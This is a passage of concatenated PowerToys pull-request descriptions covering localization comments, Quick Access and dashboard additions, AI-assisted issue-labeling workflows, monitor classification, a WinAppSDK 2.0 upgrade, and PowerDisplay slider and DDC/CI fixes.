file.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
The German locale translated the system tray tooltip `AppName` ("Power
Display") to "Leistungsanzeige", despite the Settings UI keeping the
utility name untranslated. The affected resource entries had no
translator guidance, so "Power Display" was treated as a localizable
phrase rather than a fixed product name. This PR adds consistent "do not
translate" comments across all touchpoints in both resource files.
## Summary of the Pull Request
- `src/modules/powerdisplay/PowerDisplay/Strings/en-us/Resources.resw`:
Added `Product name, do not translate.` comment to the `AppName` entry
(system tray tooltip)
- `src/settings-ui/Settings.UI/Strings/en-us/Resources.resw`: Added
`{Locked="Power Display"}` comments to all 15 entries containing "Power
Display" — including the module title, enable/toggle/open/launch
strings, OOBE title/description/activation text, LearnMore link,
QuickProfiles description, group header, and flyout header — following
the same convention already used for FancyZones and other product names
in that file
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
The system tray tooltip is populated via `GetString("AppName")` in
`TrayIconService.cs`. Because the resource had no comment, translators
localized "Power Display" as a common phrase ("performance display")
rather than treating it as a fixed product name.
To ensure consistency across all touchpoints, `{Locked="Power Display"}`
comments have been added to every entry in the Settings UI resource file
that contains the product name, matching the convention already in use
for `Shell_PowerDisplay.Content` (`Product name: Navigation view item
name for Power Display`) and for other utilities such as FancyZones
(`{Locked="FancyZones"}`).
## Validation Steps Performed
Verified that all `AppName` and Settings UI resource entries containing
"Power Display" now carry the appropriate translator comment. No runtime
behavior changes — the English values are unchanged; the comments solely
guide translators to leave the product name as-is in all locales.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
The nittiest of nits: "No shortcuts to show.." message should be "No
shortcuts to show." when no modules are enabled.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
This one is pretty self-explanatory.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
(Manual testing.)
<img width="240" height="141" alt="image"
src="https://github.com/user-attachments/assets/a036d345-dc1d-4040-9111-187619453dcd"
/>
## Summary of the Pull Request
Adds the Mouse Without Borders "Refresh connections" action to both the
Quick Access tray flyout and the Settings Dashboard, so users can
trigger a reconnect without navigating into MWB settings.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
### Quick Access flyout (`Settings.UI.Controls`)
- **`QuickAccessViewModel`**: Added `MouseWithoutBorders` to
`InitializeItems()`; tooltip shows the configured `ReconnectShortcut`.
- **`QuickAccessLauncher`**: Added `case ModuleType.MouseWithoutBorders`
— signals `MWBReconnectEvent` (same named Windows event used by the
CmdPal `MWBReconnectCommand`).
### Settings Dashboard (`Settings.UI`)
- **`DashboardViewModel`**: Added `GetModuleItemsMouseWithoutBorders()`
returning a `DashboardModuleButtonItem` wired to a new
`MouseWithoutBordersReconnectClicked` handler that fires
`MWBReconnectEvent`. Added the module to the `GetModuleItems()` switch.
Added `using System.Threading` and `using PowerToys.Interop`.
No new strings — reuses existing
`MouseWithoutBorders_ReconnectButton.Text` ("Refresh connections") and
`MouseWithoutBorders_ReconnectTooltip.Text` for the button label and
description.
## Validation Steps Performed
- Verified `MWBReconnectEvent` is the same event used by
`MWBReconnectCommand` in the CmdPal extension.
- Confirmed `MouseWithoutBorders.png` icon exists in
`Assets/Settings/Icons/`.
- Confirmed `PowerToys.Interop` is already referenced by
`PowerToys.Settings.csproj`.
> [!WARNING]
>
> <details>
> <summary>Firewall rules blocked me from connecting to one or more
addresses (expand for details)</summary>
>
> #### I tried to connect to the following addresses, but was blocked by
firewall rules:
>
> - `o3svsblobprodcus318.vsblob.vsassets.io`
> - Triggering command: `/usr/bin/dotnet dotnet build
Settings.UI/PowerToys.Settings.csproj -c Debug` (dns block)
>
> If you need me to access, download, or install something from one of
these locations, you can either:
>
> - Configure [Actions setup
steps](https://gh.io/copilot/actions-setup-steps) to set up my
environment, which run before the firewall is enabled
> - Add the appropriate URLs or hosts to the custom allowlist in this
repository's [Copilot coding agent
settings](https://github.com/microsoft/PowerToys/settings/copilot/coding_agent)
(admins only)
>
> </details>
<!-- START COPILOT ORIGINAL PROMPT -->
<details>
<summary>Original prompt</summary>
>
> ----
>
> *This section details on the original issue you should resolve*
>
> <issue_title>Add Refresh Connections (from Mouse Without Borders) to
Quick Access</issue_title>
> <issue_description>### Description of the new feature / enhancement
>
> As per subject ... add Refresh Connections (_from Mouse Without
Borders_) to Quick Access
>
> ### Scenario when this would be used?
>
> There are a number of scenarios (_in my use case_) where I have one of
my machines connected to a business VPN .... which in 90% of the cases
triggers a small network drop resulting in the machine dropping off
mouse w/o borders - a refresh connections fixes it - but is currently a
bit annoying to get to.
>
> ### Supporting information
>
> _No response_</issue_description>
>
> ## Comments on the Issue (you are @copilot in this section)
>
> <comments>
> </comments>
>
</details>
<!-- START COPILOT CODING AGENT SUFFIX -->
- Fixesmicrosoft/PowerToys#45935
<!-- START COPILOT CODING AGENT TIPS -->
---
🔒 GitHub Advanced Security automatically protects Copilot coding agent
pull requests. You can protect all pull requests by enabling Advanced
Security for your repositories. [Learn more about Advanced
Security.](https://gh.io/cca-advanced-security)
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
## Summary
Adds a GitHub Action workflow that **automatically applies `Product-*`
labels** to issues, reducing manual triage effort.
### How it works
**Two-tier approach:**
1. **Deterministic mapping** — Parses the structured "Area(s) with
issue?" dropdown from bug report templates and maps selections to the
correct `Product-` label via a hardcoded lookup table.
2. **AI inference (Copilot fallback)** — When no product is resolved
from the structured field (e.g., feature requests without the area
field), calls GitHub Models API (`gpt-4.1-mini`) to infer the product
from issue title + body.
### Trigger modes
| Trigger | Use case |
|---------|----------|
| `issues: [opened]` | Auto-labels every new issue |
| `workflow_dispatch` (single) | Test on one specific issue with dry-run
|
| `workflow_dispatch` (batch) | Process all open issues missing Product-
labels |
### Safety features
- **Label validation** — checks each label exists in the repo before
applying
- **Dry-run mode** — logs what would happen without modifying issues
- **Concurrency control** — prevents duplicate runs
- **Conservative AI prompt** — only labels products the issue is
*primarily* about
### Testing performed
Tested locally against 10 real issues with `Needs-Triage` and no
`Product-*` label:
- **6/10 resolved deterministically** (correct labels applied via `gh
issue edit`)
- **4/10 tested AI inference** via GitHub Models API:
- #47482 (CmdPal Dock) → `Product-Command Palette` ✅
- #47474 (grab and move + fancy zones) → `Product-FancyZones` ✅
- #47476 (modular download) → `[]` (correctly abstained) ✅
- #47478 (Quick Access pinning) → improved prompt to avoid over-labeling
### Files changed
| File | Purpose |
|------|---------|
| `.github/workflows/auto-label-product.yml` | The GitHub Action |
| `.github/policies/resourceManagement.yml` | Removed redundant
Workspaces-only regex rule |
| `tools/Test-AutoLabelProduct.ps1` | Local PowerShell test script for
dry-run testing |
### Mapping validated against actual repo labels
Confirmed all label names in the mapping exist in the repo via `gh label
list --search "Product-"`.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Adds a GitHub Actions workflow that fires on every new/reopened issue
and uses `gpt-4o-mini` (via GitHub Models) to classify the issue and
apply the correct `Product-*` / `Area-*` label(s) automatically. Also
adds a `workflow_dispatch` path so maintainers can manually backfill
labels on existing untriaged issues by supplying a comma-separated list
of issue numbers.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
**New file:** `.github/workflows/auto-label-issues.yml`
- **Trigger:** `issues: [opened, reopened]` for the automatic path;
`workflow_dispatch` with an `issue_numbers` input (comma-separated) for
manual backfill
- **Model call:** issue title + body (≤4 000 chars) → `gpt-4o-mini` at
the GitHub Models inference endpoint (`models.inference.ai.azure.com`);
uses `GITHUB_TOKEN` — no extra secrets required; `temperature: 0` for
deterministic output
- **Safety:** model output is filtered through a hard-coded allow-list
of 37 `Product-*` / `Area-*` labels before any API call — hallucinated
labels are dropped silently
- **Permissions:** `models: read` + `issues: write` only (same
minimal-permission pattern as the existing dedup workflow)
- **Concurrency:** per-issue group for automatic events; per-run-ID for
manual dispatch — prevents races without blocking unrelated runs
## Validation Steps Performed
- Manually triggered via `workflow_dispatch` against several untriaged
issues; step logs confirmed correct JSON output from the model and
matching labels applied via the GitHub Issues API.
- Verified the allow-list filter correctly discards any label not in the
predefined set.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Adds an explicit Phase 0 classification step in `MonitorManager` that
uses `DISPLAYCONFIG_VIDEO_OUTPUT_TECHNOLOGY` (from `QueryDisplayConfig`)
to label every connected display as **internal** (built-in) or
**external** before any controller runs. Each controller is then
dispatched a strictly-scoped target list:
- **WMI controller** → only internal displays
- **DDC/CI controller** → only external displays
Two practical wins:
1. **Performance** — DDC/CI's ~4-second I2C capabilities probe (per
monitor) is now skipped entirely for internal laptop panels, which never
respond to DDC/CI in the first place. On a typical laptop with one
built-in panel + one external monitor, discovery is noticeably faster.
2. **Layering** — `WmiController` no longer reaches into the
`Drivers/DDC/` namespace to call
`DdcCiNative.GetAllMonitorDisplayInfo()`. Both controllers receive their
input from `MonitorManager` via a single `QueryDisplayConfig` call.
Strict classification is enforced: a display classified as internal but
not returned by `WmiMonitorBrightness` is dropped + logged (Warning),
with **no fallback to DDC/CI**. This is a deliberate design choice — the
spec discusses the trade-off in detail.
Adds a Phase 0 classification log (Info level) so misclassifications are
diagnosable from logs alone:
```
[DisplayClassification] Found 2 displays:
[Path 1] \\.\DISPLAY1 / "Built-in display": OutputTechnology=0x80000000 → Internal
[Path 2] \\.\DISPLAY2 / "Dell U2723QE": OutputTechnology=10 → External
[DisplayClassification] Summary: 1 internal, 1 external
```
The classification rule (in `DisplayClassifier.IsInternal`) is
deliberately conservative — misclassifying an external display as
internal would silently drop it from DDC/CI discovery with no fallback,
so we err on the side of external:
- **Internal**: the bare `INTERNAL` flag (`0x80000000`) alone, the
`INTERNAL` flag combined with a documented embedded subtype
(`DISPLAYPORT_EMBEDDED` 11 or `UDI_EMBEDDED` 13), or one of those
embedded subtypes on its own
- **External**: everything else, including the `INTERNAL` flag combined
with an undocumented subtype (HDMI, DP_EXTERNAL, MIRACAST, etc.)
- LVDS (6) is intentionally **not** classified internal — the [Microsoft
docs](https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ne-wingdi-displayconfig_video_output_technology)
describe it only as a connector type, not as an internal-display marker
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Adding missing Grab And Move and Power Display events
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Bumps `Microsoft.WindowsAppSDK` (and split sub-packages) from
**`1.8.260209005`** to public NuGet''s **`2.0.1`** GA, plus the
centrally-pinned `Microsoft.Web.WebView2` to **`1.0.3719.77`** to
satisfy the new transitive requirement from
`Microsoft.WindowsAppSDK.WinUI 2.0.12`.
This is the minimum mechanical version-bump set required for the
WinAppSDK 2.0 upgrade ΓÇö no API migration or behavioral changes.
Subsequent commits on this branch will address breaking-change
migrations as they surface.
NuGet source-of-truth used to pick sub-package versions: WinAppSDK 2.0.1
catalog `dependencyGroup`
(https://api.nuget.org/v3/catalog0/data/2026.04.29.22.25.36/microsoft.windowsappsdk.2.0.1.json).
## Detailed Description of the Pull Request / Additional comments
### Scope
| Package | Pinned |
|---|---|
| `Microsoft.WindowsAppSDK` | `2.0.1` |
| `Microsoft.WindowsAppSDK.Foundation` | `2.0.20` |
| `Microsoft.WindowsAppSDK.AI` | `2.0.185` |
| `Microsoft.WindowsAppSDK.Runtime` | `2.0.1` |
| `Microsoft.Web.WebView2` | `1.0.3719.77` |
## Validation Steps Performed
`tools\build\build-essentials.cmd` results on the temp branch (x64
Debug, VS 2026 Insiders 14.51.36231):
| Stage | Errors | Warnings | Time |
|---|---|---|---|
| `PowerToys.slnx` NuGet restore | **0** | 0 | 1:05 |
| Native C++ `src\runner\runner.vcxproj` | **0** | 0 | 4:08 |
| Managed `src\settings-ui\Settings.UI\PowerToys.Settings.csproj` |
**0** | 0 | 3:35 |
Exit code: **0**. The end-to-end `build-essentials` flow passes locally
ΓÇö the WinAppSDK 2.0 upgrade is verified to compile against the runner
+ Settings.UI projects.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
The brightness / contrast / volume sliders in the PowerDisplay flyout
previously committed to hardware (DDC/CI) only on `PointerCaptureLost`
plus arrow-key `KeyUp`. That doesn't work reliably on touchscreens —
tap-on-track issues no pointer capture, and the Slider / Thumb doesn't
always bubble `PointerCaptureLost` on touch — so the value the user
dialed in never reached the monitor.
This PR replaces that wiring with the simpler approach we actually
wanted: a TwoWay `Value` binding plus a debounced commit in the
view-model. `ValueChanged` runs the setter on every move, but a 200 ms
`DispatcherQueueTimer` (restarted on each change) collapses the entire
interaction into a single DDC/CI write once the user stops sliding.
Mouse, touch, tap-on-track, and held arrow keys all use the same code
path.
It also adds a small `SliderExtensions` helper (Toolkit-style attached
properties) so the brightness / contrast / volume sliders can be
adjusted by mouse-wheel scroll. The wheel event is marked handled so the
parent `ScrollViewer` does not also scroll, and the existing 200 ms
debounce coalesces wheel input into a single DDC/CI write.
## PR Checklist
- [x] Closes: #47724
- [x] **Communication:** I've discussed this with core contributors
already.
- [x] **Tests:** Manual smoke; no automated coverage exists for the
slider flyout.
- [x] **Localization:** No new end-user-facing strings.
- [x] **Dev docs:** N/A
- [x] **New binaries:** N/A
- [x] **Documentation updated:** N/A
## Detailed Description of the Pull Request / Additional comments
### Debounced commit
- `MonitorViewModel.Brightness/Contrast/Volume` setters now: assign
field → `OnPropertyChanged()` → `ScheduleCommit(...)` which (re)starts a
per-metric `DispatcherQueueTimer`. On `Tick` the closure calls
`SetBrightnessAsync(_brightness)` (etc.), reading the latest field value
so intermediate drag values are coalesced into one hardware write.
- `SetBrightnessAsync` / `SetContrastAsync` / `SetVolumeAsync` (used by
hotkeys, profile load, hardware refresh) keep their immediate-apply
behavior — they bypass the public setters, so a TwoWay source-update
from one of those paths does **not** reschedule a commit.
- `MonitorViewModel.Dispose()` stops the three timers. Pending writes
are intentionally dropped: `Dispose` only runs when the monitor is gone
(unplug / refresh) or the app is shutting down, in which case a hardware
write would race a half-torn-down `MonitorManager`.
- `AppConstants.UI.SliderCommitDebounceMs = 200` is the single source of
truth for the delay.
- Removed the six
`Handle{Brightness|Contrast|Volume}{PointerCaptureLost|KeyUp}` methods
and the now-unused `IsArrowKey` helper.
- `using DispatcherQueueTimer =
Microsoft.UI.Dispatching.DispatcherQueueTimer;` alias avoids ambiguity
with `Windows.System.DispatcherQueueTimer`.
### Wheel-scrollable sliders
- New `PowerDisplay.Helpers.SliderExtensions` — a Toolkit-style `public
static class <Control>Extensions` with two attached properties:
- `SliderExtensions.IsMouseWheelEnabled` (bool) — opt in to wheel input.
- `SliderExtensions.MouseWheelChange` (double, default `NaN` → falls
back to the slider's own `Slider.SmallChange`) — per-notch delta.
- Handler computes `notches = MouseWheelDelta / 120`, clamps to
`[Minimum, Maximum]`, sets `Value`, and marks `e.Handled = true` so the
enclosing `MainScrollViewer` doesn't also scroll.
- Wired on the brightness, contrast, and volume sliders with
`MouseWheelChange="5"` (20 notches for a full sweep).
- Body has zero PowerDisplay-specific dependencies (only
`Microsoft.UI.Xaml.*`) so the helper is straightforward to lift into the
WinUI Community Toolkit later.
## Validation Steps Performed
- `tools/build/build.cmd` against
`src/modules/powerdisplay/PowerDisplay/PowerDisplay.csproj` — exit code
0.
- Manual smoke on a touchscreen device:
- Touch drag thumb 50 → 80, lift finger → monitor commits once at 80.
- Tap on the track at 25 % → monitor commits once at 25 %.
- Manual smoke with mouse:
- Drag 50 → 80, release → exactly one DDC/CI write at 80.
- Manual smoke with keyboard:
- Hold Right arrow on the brightness slider → repeated nudges collapse
into a single write 200 ms after key release.
- Manual smoke with mouse wheel:
- Hover brightness slider, scroll wheel → value moves by 5 per notch,
monitor commits once after scrolling stops.
- Wheel over a slider does **not** scroll the flyout's
`MainScrollViewer`; wheel outside the sliders still scrolls.
- Wheel past `Minimum` / `Maximum` clamps at the boundary.
- Hotkey-driven brightness change still applies immediately (regression
check on the `SetBrightnessAsync` path).
- `DisplayChangeWatcher`-driven hardware refresh does not schedule a
spurious commit.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
This PR solves the following issues:
- Narrator announced the Resize button as 'button', now it's 'resize'.
- The app window was still 'WinUI Desktop', it's now 'Image Resizer'
Binding is hard.
The tooltip is bound to `.Tooltip`. But we forgot to raise a property
changed event for `Tooltip` when title or subtitle change.
Closes: issue filed on teams
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes#47458 — on monitors that advertise a non-100 raw VCP maximum
(e.g. Samsung S27DG602SN reports 50), the DDC controller was writing the
slider's 0–100 percentage directly as the raw VCP value. Anything above
the device's max was silently clamped, so only the bottom half of the
brightness / contrast / volume sliders had any visible effect.
The same root cause affects all three continuous-range VCPs (0x10
brightness, 0x12 contrast, 0x62 volume).
- Capture the device-reported `max` at discovery into new
`Monitor.{Brightness,Contrast,Volume}VcpMax` fields.
- Add `VcpFeatureValue.FromPercentage(percent, max, min)` as the
symmetric inverse of the existing `ToPercentage()`.
- Scale percent → raw inside `DdcCiController.Set{Brightness,Contrast,
Volume}Async` before each `SetVCPFeature` call.
- WMI is unaffected — Windows already standardises WMI brightness to
0–100.
The whole stack above the controller (ViewModel, MonitorManager, slider,
settings persistence, IPC) stays in the percent domain. The only place
percent ↔ raw conversion happens is the controller boundary.
#47458
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes#47665 — users report the per-monitor "Show input source control"
/ "Show power state control" toggles silently revert to off over time.
Three independent log captures pin the root cause to two layers in
`MainViewModel`:
- **Data-loss layer**: `SaveMonitorsToSettings` rebuilds
`settings.Properties.Monitors` from the currently-discovered list and
only re-adds entries with `IsHidden=true`. Whenever monitor discovery
transiently fails (DDC `GetPhysicalMonitors` NULL handle, DDC `empty
capabilities string`, WMI 4200 — all common in production logs),
affected monitors get **deleted** from settings.json. Next successful
discovery initialises them with the post-#47303 defaults
(`EnableInputSource=false`, `EnableColorTemperature=false`,
`EnablePowerState=false`), and `ApplyPreservedUserSettings` cannot
recover what is no longer there.
- **Identity layer**: `Monitor.Id` is
`{Source}_{EdidId}_{MonitorNumber}` — `EdidId` is not unique for
identical-model monitors, and `MonitorNumber` is OS-assigned and changes
after sleep/wake / GPU reset / display reorder. Even fixing the
data-loss layer would still apply preserved settings to the wrong
physical monitor for users with multiple identical displays.
This PR addresses both layers:
- **30-day retention** — `MonitorSettingsRebuilder` (in
`PowerDisplay.Lib`) replaces the inline `IsHidden`-only loop.
Currently-discovered monitors get a fresh `LastSeenUtc` stamp;
missing-but-recent (< 30 days) entries are preserved with all `Enable*`
flags intact; missing-and-stale entries are dropped with a single info
log. `IsHidden=true` entries are still preserved unconditionally.
- **DevicePath-based Id** — `Monitor.Id` is now the Windows `DevicePath`
minus the trailing device-class GUID (e.g.
`\\?\DISPLAY#DELD1A8#5&abc&0&UID12345`). The middle PnP-instance segment
is unique per (physical device × physical port) and stable across
reboots, sleep/wake, and OS-level reordering —
`MonitorDisplayInfo.DevicePath` already carries this value from
`QueryDisplayConfig`; it just wasn't being used as the Id.
The order of commits keeps the app behaviourally identical to today
through the first 8 commits (only adds dormant helpers / fields /
wiring); the actual ID-format flip is the very last commit.
Bisect-friendly.
#47599
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Exposes the 16:9 aspect ratio toggle for the ZoomIt screen region
